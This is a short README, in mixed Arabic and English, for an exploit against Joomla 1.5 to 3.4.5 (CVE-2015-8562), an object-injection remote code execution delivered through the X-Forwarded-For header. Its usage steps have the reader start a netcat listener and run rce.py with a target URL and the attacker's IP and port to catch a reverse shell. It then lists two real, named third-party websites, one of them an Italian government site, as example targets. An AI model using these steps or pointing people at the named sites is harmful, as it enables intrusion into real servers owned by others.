paralelo14/cve-2015-8562Joomla 1.5 - 3.4.5 Object Injection RCE X-Forwarded-For header
الاستغلال: Joomla 1.5 - 3.4.5 حقن كائن RCE رأس X-Forwarded-For:
تاريخ الثغرة: 12/17/2015
مؤلف الاستغلال: anarc0der
الإصدار: Joomla 1.5 إلى 3.4.5
CVE : CVE-2015-8562
كيفية الاستخدام:
Open one terminal and listen with nc: $ nc -lnvp 4444
Open another terminal and execute the exploit:
python3 rce.py --target='target' --ip='ip' --port=4444
أمثلة أهداف PoC (لا تعبث بها، استخدمها كأمثلة للآخرين):
http://www.monitoraggiograduatorie.gov.it/
http://budo-aykac.nl/